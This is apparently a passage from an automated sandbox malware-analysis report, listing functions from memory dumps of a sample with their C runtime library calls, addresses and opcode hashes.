Opcode Fuzzy Hash: d019f32bbe08e2e61e60159663011ca3b07fdf5e7cbfc497226928eadbc6c020
Instruction Fuzzy Hash: 8A51D47061AA098BEB389F9CC8853A5B7D0FB6A310F51419DDC4EC72E6D674D8528BC3

Function 000001A2671C54F0 Relevance: 7.7, APIs: 6, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 000001A2671C553A

Part of subcall function 000001A2671D9DF0: _FF_MSGBANNER.LIBCMT ref: 000001A2671D9E20
Part of subcall function 000001A2671D9DF0: _NMSG_WRITE.LIBCMT ref: 000001A2671D9E2A
Part of subcall function 000001A2671D9DF0: _callnewh.LIBCMT ref: 000001A2671D9E5E
Part of subcall function 000001A2671D9DF0: _errno.LIBCMT ref: 000001A2671D9E69
Part of subcall function 000001A2671D9DF0: _errno.LIBCMT ref: 000001A2671D9E74

malloc.LIBCMT ref: 000001A2671C5545

Part of subcall function 000001A2671D9DF0: _callnewh.LIBCMT ref: 000001A2671D9E84
Part of subcall function 000001A2671D9DF0: _errno.LIBCMT ref: 000001A2671D9E89

free.LIBCMT ref: 000001A2671C562C
free.LIBCMT ref: 000001A2671C5634
free.LIBCMT ref: 000001A2671C5640
free.LIBCMT ref: 000001A2671C564D

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc
String ID:
API String ID: 2761444284-0
Opcode ID: 88a010f216781e36e1b59568fc2e2b4e8cd5ea4fd0ad7530b382aca1bd522465
Instruction ID: 548ca612e717901c81372d8ceb66e9fd67de8e807bc757ef2c65e30bc9ca6232
Opcode Fuzzy Hash: 88a010f216781e36e1b59568fc2e2b4e8cd5ea4fd0ad7530b382aca1bd522465
Instruction Fuzzy Hash: 1E41073031AB1D4BE7589A6CA8552BA76D5EB96354F2401AEDD8BC3283FD34D84387C2

Function 000001A266DC4937 Relevance: 7.7, APIs: 6, Instructions: 175COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 000001A266DC4981

Part of subcall function 000001A266DD9237: _FF_MSGBANNER.LIBCMT ref: 000001A266DD9267
Part of subcall function 000001A266DD9237: _NMSG_WRITE.LIBCMT ref: 000001A266DD9271
Part of subcall function 000001A266DD9237: _callnewh.LIBCMT ref: 000001A266DD92A5
Part of subcall function 000001A266DD9237: _errno.LIBCMT ref: 000001A266DD92B0
Part of subcall function 000001A266DD9237: _errno.LIBCMT ref: 000001A266DD92BB

malloc.LIBCMT ref: 000001A266DC498C

Part of subcall function 000001A266DD9237: _callnewh.LIBCMT ref: 000001A266DD92CB
Part of subcall function 000001A266DD9237: _errno.LIBCMT ref: 000001A266DD92D0

free.LIBCMT ref: 000001A266DC4A73
free.LIBCMT ref: 000001A266DC4A7B
free.LIBCMT ref: 000001A266DC4A87
free.LIBCMT ref: 000001A266DC4A94

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc
String ID:
API String ID: 2761444284-0
Opcode ID: 88a010f216781e36e1b59568fc2e2b4e8cd5ea4fd0ad7530b382aca1bd522465
Instruction ID: de8266e4d8968e0601e6727ae108692e2ab698d1cbafb62154ca99e3a51f54c8
Opcode Fuzzy Hash: 88a010f216781e36e1b59568fc2e2b4e8cd5ea4fd0ad7530b382aca1bd522465
Instruction Fuzzy Hash: 6741D53131AB0D8AE77CAA2C98456BA76D9EBD7318F14413DD88BC7293ED30D8074786

Function 000001A266DDAC14 Relevance: 7.7, APIs: 5, Instructions: 169COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001A266DDAB0E
memcpy_s.LIBCMT ref: 000001A266DDABD3
_fileno.LIBCMT ref: 000001A266DDAC3E

Part of subcall function 000001A266DDF73B: _errno.LIBCMT ref: 000001A266DDF744
Part of subcall function 000001A266DDF73B: _invalid_parameter_noinfo.LIBCMT ref: 000001A266DDF74F

Part of subcall function 000001A266DE0C1F: __doserrno.LIBCMT ref: 000001A266DE0C59
Part of subcall function 000001A266DE0C1F: _errno.LIBCMT ref: 000001A266DE0C60

_filbuf.LIBCMT ref: 000001A266DDAC6C
_errno.LIBCMT ref: 000001A266DDACBC

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfo$__doserrno_filbuf_filenomemcpy_s
String ID:
API String ID: 1812282339-0
Opcode ID: bc2d8d37f76e7562e397665d6917532ba91d4efeeaa8fc920efeeab9ae4ba0e5
Instruction ID: d93039c8736660d8737371ecbf14ae0e1ce4db478c6b2b0b539d358b7dca4610
Opcode Fuzzy Hash: bc2d8d37f76e7562e397665d6917532ba91d4efeeaa8fc920efeeab9ae4ba0e5
Instruction Fuzzy Hash: 6941633531FA094BE63C762C94452B972D2E797760F29432ED89EC32D2DA31D85247C7

Function 000001A2671DCB90 Relevance: 7.6, APIs: 5, Instructions: 149COMMONLIBRARYCODE

Download Yara Rule

APIs

_fileno.LIBCMT ref: 000001A2671DCBAD

Part of subcall function 000001A2671E02F4: _errno.LIBCMT ref: 000001A2671E02FD
Part of subcall function 000001A2671E02F4: _invalid_parameter_noinfo.LIBCMT ref: 000001A2671E0308

_errno.LIBCMT ref: 000001A2671DCBBD

Part of subcall function 000001A2671DC50C: _getptd_noexit.LIBCMT ref: 000001A2671DC510

_errno.LIBCMT ref: 000001A2671DCBD9
_isatty.LIBCMT ref: 000001A2671DCC3A
_getbuf.LIBCMT ref: 000001A2671DCC46

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errno$_fileno_getbuf_getptd_noexit_invalid_parameter_noinfo_isatty
String ID:
API String ID: 304646821-0
Opcode ID: 289abdceb8bb9818e516fedba37aa2756b43f1ba63130985b5a9f9eb95bc5dbd
Instruction ID: 4045e81d90e72a63faebf0d0f8dc091b6920eb8d4a7b1a6d9f0cab0426d3f073
Opcode Fuzzy Hash: 289abdceb8bb9818e516fedba37aa2756b43f1ba63130985b5a9f9eb95bc5dbd
Instruction Fuzzy Hash: B3519130326A084FEB98DF6CE4917A577D0EB5A310F140BDADD19CB2D6F674D9418B82

Function 000001A266DDBFD7 Relevance: 7.6, APIs: 5, Instructions: 149COMMONLIBRARYCODE

Download Yara Rule

APIs

_fileno.LIBCMT ref: 000001A266DDBFF4

Part of subcall function 000001A266DDF73B: _errno.LIBCMT ref: 000001A266DDF744
Part of subcall function 000001A266DDF73B: _invalid_parameter_noinfo.LIBCMT ref: 000001A266DDF74F

_errno.LIBCMT ref: 000001A266DDC004

Part of subcall function 000001A266DDB953: _getptd_noexit.LIBCMT ref: 000001A266DDB957

_errno.LIBCMT ref: 000001A266DDC020
_isatty.LIBCMT ref: 000001A266DDC081
_getbuf.LIBCMT ref: 000001A266DDC08D

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errno$_fileno_getbuf_getptd_noexit_invalid_parameter_noinfo_isatty
String ID:
API String ID: 304646821-0
Opcode ID: 289abdceb8bb9818e516fedba37aa2756b43f1ba63130985b5a9f9eb95bc5dbd
Instruction ID: 861994c790bc1e2840371abd4ac710acc282df76fc3ff9229354fb753ea1a43c
Opcode Fuzzy Hash: 289abdceb8bb9818e516fedba37aa2756b43f1ba63130985b5a9f9eb95bc5dbd
Instruction Fuzzy Hash: 02518E70216A084FEBACBF6CC491BA976D4EB5B350F144699DC5ECB2D6D634C841C7C2

Function 000001A2671D6A6C Relevance: 7.6, APIs: 6, Instructions: 142COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 000001A2671D6A9B

Part of subcall function 000001A2671D9DF0: _FF_MSGBANNER.LIBCMT ref: 000001A2671D9E20
Part of subcall function 000001A2671D9DF0: _NMSG_WRITE.LIBCMT ref: 000001A2671D9E2A
Part of subcall function 000001A2671D9DF0: _callnewh.LIBCMT ref: 000001A2671D9E5E
Part of subcall function 000001A2671D9DF0: _errno.LIBCMT ref: 000001A2671D9E69
Part of subcall function 000001A2671D9DF0: _errno.LIBCMT ref: 000001A2671D9E74

_snprintf.LIBCMT ref: 000001A2671D6AB3

Part of subcall function 000001A2671DA1AC: _errno.LIBCMT ref: 000001A2671DA1E3
Part of subcall function 000001A2671DA1AC: _invalid_parameter_noinfo.LIBCMT ref: 000001A2671DA1EE

free.LIBCMT ref: 000001A2671D6ACA

Part of subcall function 000001A2671D9DB0: RtlFreeHeap.NTDLL ref: 000001A2671D9DC6
Part of subcall function 000001A2671D9DB0: _errno.LIBCMT ref: 000001A2671D9DD0

malloc.LIBCMT ref: 000001A2671D6B1A
_snprintf.LIBCMT ref: 000001A2671D6B32
free.LIBCMT ref: 000001A2671D6B5A

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errno$_snprintffreemalloc$FreeHeap_callnewh_invalid_parameter_noinfo
String ID:
API String ID: 343393124-0
Opcode ID: 8b827f0d5e6cb23c224e103b3df7afa8beea314d8f5d9041f22b0cad3a7dffc9
Instruction ID: e2f9b7f924c53626e93c5621be47828997f961149c777ad511d942cf65e7e007
Opcode Fuzzy Hash: 8b827f0d5e6cb23c224e103b3df7afa8beea314d8f5d9041f22b0cad3a7dffc9
Instruction Fuzzy Hash: 8141823030EE4C4FE668AB2C78257E577D2D78A311F44429AD48EC72D6FA349C028B86

Function 000001A266DD5EB3 Relevance: 7.6, APIs: 6, Instructions: 142COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 000001A266DD5EE2

Part of subcall function 000001A266DD9237: _FF_MSGBANNER.LIBCMT ref: 000001A266DD9267
Part of subcall function 000001A266DD9237: _NMSG_WRITE.LIBCMT ref: 000001A266DD9271
Part of subcall function 000001A266DD9237: _callnewh.LIBCMT ref: 000001A266DD92A5
Part of subcall function 000001A266DD9237: _errno.LIBCMT ref: 000001A266DD92B0
Part of subcall function 000001A266DD9237: _errno.LIBCMT ref: 000001A266DD92BB

_snprintf.LIBCMT ref: 000001A266DD5EFA

Part of subcall function 000001A266DD95F3: _errno.LIBCMT ref: 000001A266DD962A
Part of subcall function 000001A266DD95F3: _invalid_parameter_noinfo.LIBCMT ref: 000001A266DD9635

free.LIBCMT ref: 000001A266DD5F11

Part of subcall function 000001A266DD91F7: _errno.LIBCMT ref: 000001A266DD9217

malloc.LIBCMT ref: 000001A266DD5F61
_snprintf.LIBCMT ref: 000001A266DD5F79
free.LIBCMT ref: 000001A266DD5FA1

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errno$_snprintffreemalloc$_callnewh_invalid_parameter_noinfo
String ID:
API String ID: 761449704-0
Opcode ID: 8b827f0d5e6cb23c224e103b3df7afa8beea314d8f5d9041f22b0cad3a7dffc9
Instruction ID: fca300a8c7974fb09ad78690e4d1c906b7a5fb097b78606cc7d1395399737cfd
Opcode Fuzzy Hash: 8b827f0d5e6cb23c224e103b3df7afa8beea314d8f5d9041f22b0cad3a7dffc9
Instruction Fuzzy Hash: 5041613070EE484FEB7CBB2C68553A87AD2E78B311F544299D48ECB2D6DA34DC424786

Function 000001A2671CEEE0 Relevance: 7.6, APIs: 5, Instructions: 90fileCOMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 000001A2671CEF01

Part of subcall function 000001A2671D9DF0: _FF_MSGBANNER.LIBCMT ref: 000001A2671D9E20
Part of subcall function 000001A2671D9DF0: _NMSG_WRITE.LIBCMT ref: 000001A2671D9E2A
Part of subcall function 000001A2671D9DF0: _callnewh.LIBCMT ref: 000001A2671D9E5E
Part of subcall function 000001A2671D9DF0: _errno.LIBCMT ref: 000001A2671D9E69
Part of subcall function 000001A2671D9DF0: _errno.LIBCMT ref: 000001A2671D9E74

free.LIBCMT ref: 000001A2671CEF3C
fwrite.LIBCMT ref: 000001A2671CEF7D
fclose.LIBCMT ref: 000001A2671CEF85
free.LIBCMT ref: 000001A2671CEF92

Part of subcall function 000001A2671D9DB0: RtlFreeHeap.NTDLL ref: 000001A2671D9DC6
Part of subcall function 000001A2671D9DB0: _errno.LIBCMT ref: 000001A2671D9DD0

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errno$free$FreeHeap_callnewhfclosefwritemalloc
String ID:
API String ID: 415550720-0
Opcode ID: c72207fa5f0ee2310f5b3665255065d0b35a357aa93fecd65a4b63b7652974ea
Instruction ID: 04ece08ee8ed6ec27ab1971d115c1e2fb0ee8428b7b62b56d178c417b8a6ed1b
Opcode Fuzzy Hash: c72207fa5f0ee2310f5b3665255065d0b35a357aa93fecd65a4b63b7652974ea
Instruction Fuzzy Hash: 2421353031AE488BE654E76CA4657ED72D1F799300F9445AEE84EC32C6FD38C9059783

Function 000001A266DCE327 Relevance: 7.6, APIs: 5, Instructions: 90fileCOMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 000001A266DCE348

Part of subcall function 000001A266DD9237: _FF_MSGBANNER.LIBCMT ref: 000001A266DD9267
Part of subcall function 000001A266DD9237: _NMSG_WRITE.LIBCMT ref: 000001A266DD9271
Part of subcall function 000001A266DD9237: _callnewh.LIBCMT ref: 000001A266DD92A5
Part of subcall function 000001A266DD9237: _errno.LIBCMT ref: 000001A266DD92B0
Part of subcall function 000001A266DD9237: _errno.LIBCMT ref: 000001A266DD92BB

free.LIBCMT ref: 000001A266DCE383
fwrite.LIBCMT ref: 000001A266DCE3C4
fclose.LIBCMT ref: 000001A266DCE3CC
free.LIBCMT ref: 000001A266DCE3D9

Part of subcall function 000001A266DD91F7: _errno.LIBCMT ref: 000001A266DD9217

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errno$free$_callnewhfclosefwritemalloc
String ID:
API String ID: 1696598829-0
Opcode ID: 02ea041e54bb43205d121115569fd02cbbbe64957e51ea22eb696b954f72ca0c
Instruction ID: 40bb1cac9708c1eea2fc203cb4fc5ac2daad2b36c5a9578d1639c1e00a5d6da0
Opcode Fuzzy Hash: 02ea041e54bb43205d121115569fd02cbbbe64957e51ea22eb696b954f72ca0c
Instruction Fuzzy Hash: F2214C3072AA4C4BE66DF76C94553ED72D2FB8A300F444629E84EC32D6DD38D9014783

Function 000001A2671E4F6C Relevance: 7.5, APIs: 5, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001A2671E4F7D

Part of subcall function 000001A2671DC50C: _getptd_noexit.LIBCMT ref: 000001A2671DC510

__doserrno.LIBCMT ref: 000001A2671E4F75

Part of subcall function 000001A2671DC49C: _getptd_noexit.LIBCMT ref: 000001A2671DC4A0

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno_errno
String ID:
API String ID: 2964073243-0
Opcode ID: 5d0054c5e2d885447547f431565edf1ccd7609402736b56777908d51843e624f
Instruction ID: 475dd34d06cb34504e0342d449e165a8738c7c8d307818f311ef8f3d800b87f4
Opcode Fuzzy Hash: 5d0054c5e2d885447547f431565edf1ccd7609402736b56777908d51843e624f
Instruction Fuzzy Hash: 8901A2303134044EE6546F6C98413E832E1FB07326F5047CAEC1ACB0D2F7B848408A63

Function 000001A266DE43B3 Relevance: 7.5, APIs: 5, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001A266DE43C4

Part of subcall function 000001A266DDB953: _getptd_noexit.LIBCMT ref: 000001A266DDB957

__doserrno.LIBCMT ref: 000001A266DE43BC

Part of subcall function 000001A266DDB8E3: _getptd_noexit.LIBCMT ref: 000001A266DDB8E7

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno_errno
String ID:
API String ID: 2964073243-0
Opcode ID: 5d0054c5e2d885447547f431565edf1ccd7609402736b56777908d51843e624f
Instruction ID: 124d619c7450b29b08909345cb65e222a1e9693e30e23a004d117d0e994b8455
Opcode Fuzzy Hash: 5d0054c5e2d885447547f431565edf1ccd7609402736b56777908d51843e624f
Instruction Fuzzy Hash: 8D01A23071B4094EE26DABACC8517D832A0EB57329F504295E80E8A1D3C6B9C8418393

Function 000001A2671D9CAC Relevance: 6.3, APIs: 5, Instructions: 76COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 000001A2671D9CCF

Part of subcall function 000001A2671D9DF0: _FF_MSGBANNER.LIBCMT ref: 000001A2671D9E20
Part of subcall function 000001A2671D9DF0: _NMSG_WRITE.LIBCMT ref: 000001A2671D9E2A
Part of subcall function 000001A2671D9DF0: _callnewh.LIBCMT ref: 000001A2671D9E5E
Part of subcall function 000001A2671D9DF0: _errno.LIBCMT ref: 000001A2671D9E69
Part of subcall function 000001A2671D9DF0: _errno.LIBCMT ref: 000001A2671D9E74

malloc.LIBCMT ref: 000001A2671D9CDD

Part of subcall function 000001A2671D9DF0: _callnewh.LIBCMT ref: 000001A2671D9E84
Part of subcall function 000001A2671D9DF0: _errno.LIBCMT ref: 000001A2671D9E89

malloc.LIBCMT ref: 000001A2671D9CFF
_snprintf.LIBCMT ref: 000001A2671D9D1A

Part of subcall function 000001A2671DA1AC: _errno.LIBCMT ref: 000001A2671DA1E3
Part of subcall function 000001A2671DA1AC: _invalid_parameter_noinfo.LIBCMT ref: 000001A2671DA1EE

malloc.LIBCMT ref: 000001A2671D9D35

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errnomalloc$_callnewh$_invalid_parameter_noinfo_snprintf
String ID:
API String ID: 2026495703-0
Opcode ID: 9c46a56fce2852baf563308addf042f48bf77f682cf389af1756b2549debc3c7
Instruction ID: ea94bcb1fa2004714fa4ad93ffc7db08baf6ce4576fa4964cfc925beff49ed9b
Opcode Fuzzy Hash: 9c46a56fce2852baf563308addf042f48bf77f682cf389af1756b2549debc3c7
Instruction Fuzzy Hash: 65114F3161DF084FE7A8EF6CA4A639576D1E789710F10459EE44EC32D6EA349C428BC6

Function 000001A266DD90F3 Relevance: 6.3, APIs: 5, Instructions: 76COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 000001A266DD9116

Part of subcall function 000001A266DD9237: _FF_MSGBANNER.LIBCMT ref: 000001A266DD9267
Part of subcall function 000001A266DD9237: _NMSG_WRITE.LIBCMT ref: 000001A266DD9271
Part of subcall function 000001A266DD9237: _callnewh.LIBCMT ref: 000001A266DD92A5
Part of subcall function 000001A266DD9237: _errno.LIBCMT ref: 000001A266DD92B0
Part of subcall function 000001A266DD9237: _errno.LIBCMT ref: 000001A266DD92BB

malloc.LIBCMT ref: 000001A266DD9124

Part of subcall function 000001A266DD9237: _callnewh.LIBCMT ref: 000001A266DD92CB
Part of subcall function 000001A266DD9237: _errno.LIBCMT ref: 000001A266DD92D0

malloc.LIBCMT ref: 000001A266DD9146
_snprintf.LIBCMT ref: 000001A266DD9161

Part of subcall function 000001A266DD95F3: _errno.LIBCMT ref: 000001A266DD962A
Part of subcall function 000001A266DD95F3: _invalid_parameter_noinfo.LIBCMT ref: 000001A266DD9635

malloc.LIBCMT ref: 000001A266DD917C

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errnomalloc$_callnewh$_invalid_parameter_noinfo_snprintf
String ID:
API String ID: 2026495703-0
Opcode ID: 9c46a56fce2852baf563308addf042f48bf77f682cf389af1756b2549debc3c7
Instruction ID: c3afcfed2e34d97de6de87c4975475212357cc0df7ad9010a99ae3bf5da34698
Opcode Fuzzy Hash: 9c46a56fce2852baf563308addf042f48bf77f682cf389af1756b2549debc3c7
Instruction Fuzzy Hash: 1D117930A1DF084FEBACAB2CA0552A57AD1FB8A310F54456EE48EC72D6DA34D84187C6

Function 000001A2671DB19C Relevance: 6.2, APIs: 4, Instructions: 194COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001A2671DB1D4

Part of subcall function 000001A2671DC50C: _getptd_noexit.LIBCMT ref: 000001A2671DC510

_invalid_parameter_noinfo.LIBCMT ref: 000001A2671DB1DF
_flush.LIBCMT ref: 000001A2671DB291
_fileno.LIBCMT ref: 000001A2671DB2B2

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errno_fileno_flush_getptd_noexit_invalid_parameter_noinfo
String ID:
API String ID: 634798775-0
Opcode ID: e92c1dd5e78e5ce3cb92ad59880be34d59faef4e8b97b96002653d85e215407f
Instruction ID: 78a20bff80b6fba2ccad6570b85a32f5c787860c1de64c67cbb4955f4ae2a13e
Opcode Fuzzy Hash: e92c1dd5e78e5ce3cb92ad59880be34d59faef4e8b97b96002653d85e215407f
Instruction Fuzzy Hash: DB51833131BA098AE678696D74463B972D1E75A710F2402AFDC5FC31D6FAB0D8524A83

Function 000001A266DDA5E3 Relevance: 6.2, APIs: 4, Instructions: 194COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001A266DDA61B

Part of subcall function 000001A266DDB953: _getptd_noexit.LIBCMT ref: 000001A266DDB957

_invalid_parameter_noinfo.LIBCMT ref: 000001A266DDA626
_flush.LIBCMT ref: 000001A266DDA6D8
_fileno.LIBCMT ref: 000001A266DDA6F9

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errno_fileno_flush_getptd_noexit_invalid_parameter_noinfo
String ID:
API String ID: 634798775-0
Opcode ID: e92c1dd5e78e5ce3cb92ad59880be34d59faef4e8b97b96002653d85e215407f
Instruction ID: fda0da30d3df898d903b93c451fadcc659d42a886bbf00a4bee02746d096db3c
Opcode Fuzzy Hash: e92c1dd5e78e5ce3cb92ad59880be34d59faef4e8b97b96002653d85e215407f
Instruction Fuzzy Hash: 6F51A33071BE098BE67C7A6D94453B972D0E75B310F28822DD89EC21D6EA70D85287C3

Function 000001A2671C10D0 Relevance: 6.1, APIs: 4, Instructions: 90COMMONLIBRARYCODE

Download Yara Rule

APIs

clock.LIBCMT ref: 000001A2671C1117
clock.LIBCMT ref: 000001A2671C1124
clock.LIBCMT ref: 000001A2671C112D
clock.LIBCMT ref: 000001A2671C113A

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: clock
String ID:
API String ID: 3195780754-0
Opcode ID: 5db0dabca79b7f02a13d624e4170c4e9ce328fe856223db959bf42fe32753ff4
Instruction ID: 759c078b874ccdab82db91d66226000f905069f10e674fb53af7cdf806f6a4e1
Opcode Fuzzy Hash: 5db0dabca79b7f02a13d624e4170c4e9ce328fe856223db959bf42fe32753ff4
Instruction Fuzzy Hash: 8B21F9B164F7088EE764ADEC74423A6B6C0D786350F15026FEC8E83142F5A99C4256C7

Function 000001A266DC0517 Relevance: 6.1, APIs: 4, Instructions: 90COMMONLIBRARYCODE

Download Yara Rule

APIs

clock.LIBCMT ref: 000001A266DC055E
clock.LIBCMT ref: 000001A266DC056B
clock.LIBCMT ref: 000001A266DC0574
clock.LIBCMT ref: 000001A266DC0581

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: clock
String ID:
API String ID: 3195780754-0
Opcode ID: 5db0dabca79b7f02a13d624e4170c4e9ce328fe856223db959bf42fe32753ff4
Instruction ID: 4245b14b21449bfe30bf8e57e934b15489b179473c7f1e62d197d11242217d5f
Opcode Fuzzy Hash: 5db0dabca79b7f02a13d624e4170c4e9ce328fe856223db959bf42fe32753ff4
Instruction Fuzzy Hash: 492180B1A0F70C8BE77CAA9C94422BAB7D5E796390F15022DDC8E82152E561DC4246D7

Function 000001A2671EA0A8 Relevance: 6.1, APIs: 4, Instructions: 84stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000001A2671EA0CC

Part of subcall function 000001A2671DCD1C: _getptd.LIBCMT ref: 000001A2671DCD32
Part of subcall function 000001A2671DCD1C: __updatetlocinfo.LIBCMT ref: 000001A2671DCD67
Part of subcall function 000001A2671DCD1C: __updatetmbcinfo.LIBCMT ref: 000001A2671DCD8E

_errno.LIBCMT ref: 000001A2671EA0D8

Part of subcall function 000001A2671DC50C: _getptd_noexit.LIBCMT ref: 000001A2671DC510

_invalid_parameter_noinfo.LIBCMT ref: 000001A2671EA0E3
strchr.LIBCMT ref: 000001A2671EA0F9

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_getptd_noexit_invalid_parameter_noinfostrchr
String ID:
API String ID: 4151157258-0
Opcode ID: 1ccfd0c86d2c3b6164b28ea2c4af9391eb772c0ae93d517f453400fcbfad8966
Instruction ID: effb4177cf23424754d7b91cee7baf77839b19a1eda95b72d0642716ad50fa60
Opcode Fuzzy Hash: 1ccfd0c86d2c3b6164b28ea2c4af9391eb772c0ae93d517f453400fcbfad8966
Instruction Fuzzy Hash: 8021F83071B6654EE7A49B2CA4943BD76E0E786355F1506DBE88EC71C1F5B0884183C3

Function 000001A266DE94EF Relevance: 6.1, APIs: 4, Instructions: 84stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000001A266DE9513

Part of subcall function 000001A266DDC163: _getptd.LIBCMT ref: 000001A266DDC179
Part of subcall function 000001A266DDC163: __updatetlocinfo.LIBCMT ref: 000001A266DDC1AE
Part of subcall function 000001A266DDC163: __updatetmbcinfo.LIBCMT ref: 000001A266DDC1D5

_errno.LIBCMT ref: 000001A266DE951F

Part of subcall function 000001A266DDB953: _getptd_noexit.LIBCMT ref: 000001A266DDB957

_invalid_parameter_noinfo.LIBCMT ref: 000001A266DE952A
strchr.LIBCMT ref: 000001A266DE9540

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches
